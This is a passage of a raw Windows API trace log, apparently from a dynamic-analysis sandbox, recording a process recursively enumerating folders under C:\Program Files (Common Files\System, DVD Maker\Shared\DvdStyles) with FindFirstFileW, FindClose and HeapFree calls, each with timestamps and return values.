ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0171.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0171.099] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0171.099] GetProcessHeap () returned 0x6a0000 [0171.099] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0171.099] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0171.099] GetProcessHeap () returned 0x6a0000 [0171.099] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0171.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0171.099] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0171.100] GetProcessHeap () returned 0x6a0000 [0171.100] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0171.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0171.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0171.106] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0171.107] GetProcessHeap () returned 0x6a0000 [0171.107] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0171.107] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0171.107] GetProcessHeap () returned 0x6a0000 [0171.107] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0171.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0171.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0171.108] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0171.108] GetProcessHeap () returned 0x6a0000 [0171.108] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0171.108] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0171.108] GetProcessHeap () returned 0x6a0000 [0171.108] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0171.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0171.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0171.108] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0171.109] GetProcessHeap () returned 0x6a0000 [0171.109] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0171.109] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0171.109] GetProcessHeap () returned 0x6a0000 [0171.109] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0171.109] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0171.109] GetProcessHeap () returned 0x6a0000 [0171.109] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0171.109] FindClose (in: hFindFile=0x36d02f8 | out: hFindFile=0x36d02f8) returned 1 [0171.109] GetProcessHeap () returned 0x6a0000 [0171.109] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x720088 | out: hHeap=0x6a0000) returned 1 [0171.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdb2dec20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb2dec20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0171.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0171.111] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0171.112] GetProcessHeap () returned 0x6a0000 [0171.112] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0171.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x2c3f110 | out: lpFindFileData=0x2c3f110*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0171.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0171.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0171.473] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0171.474] GetProcessHeap () returned 0x6a0000 [0171.474] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0171.474] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0171.792] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0171.793] GetProcessHeap () returned 0x6a0000 [0171.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0171.807] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0172.768] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0172.769] GetProcessHeap () returned 0x6a0000 [0172.769] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0172.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0172.792] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0172.793] GetProcessHeap () returned 0x6a0000 [0172.793] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0172.987] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0173.013] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0173.014] GetProcessHeap () returned 0x6a0000 [0173.015] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0173.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0173.539] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0173.540] GetProcessHeap () returned 0x6a0000 [0173.540] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0173.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0173.754] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0173.755] GetProcessHeap () returned 0x6a0000 [0173.755] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0173.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 [0173.834] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0173.834] GetProcessHeap () returned 0x6a0000 [0173.834] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0173.834] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0173.844] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0173.845] GetProcessHeap () returned 0x6a0000 [0173.845] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0173.845] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0174.125] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0174.125] GetProcessHeap () returned 0x6a0000 [0174.125] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0174.437] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0174.456] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0174.457] GetProcessHeap () returned 0x6a0000 [0174.457] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0174.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0174.478] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0174.479] GetProcessHeap () returned 0x6a0000 [0174.479] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0174.881] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0174.914] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0174.916] GetProcessHeap () returned 0x6a0000 [0174.916] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0175.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0175.374] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0175.375] GetProcessHeap () returned 0x6a0000 [0175.375] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0175.376] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0176.049] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0176.051] GetProcessHeap () returned 0x6a0000 [0176.051] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0176.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0176.299] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0176.300] GetProcessHeap () returned 0x6a0000 [0176.300] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0176.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0176.717] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0176.718] GetProcessHeap () returned 0x6a0000 [0176.718] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0176.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0177.127] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0177.128] GetProcessHeap () returned 0x6a0000 [0177.128] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0177.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program 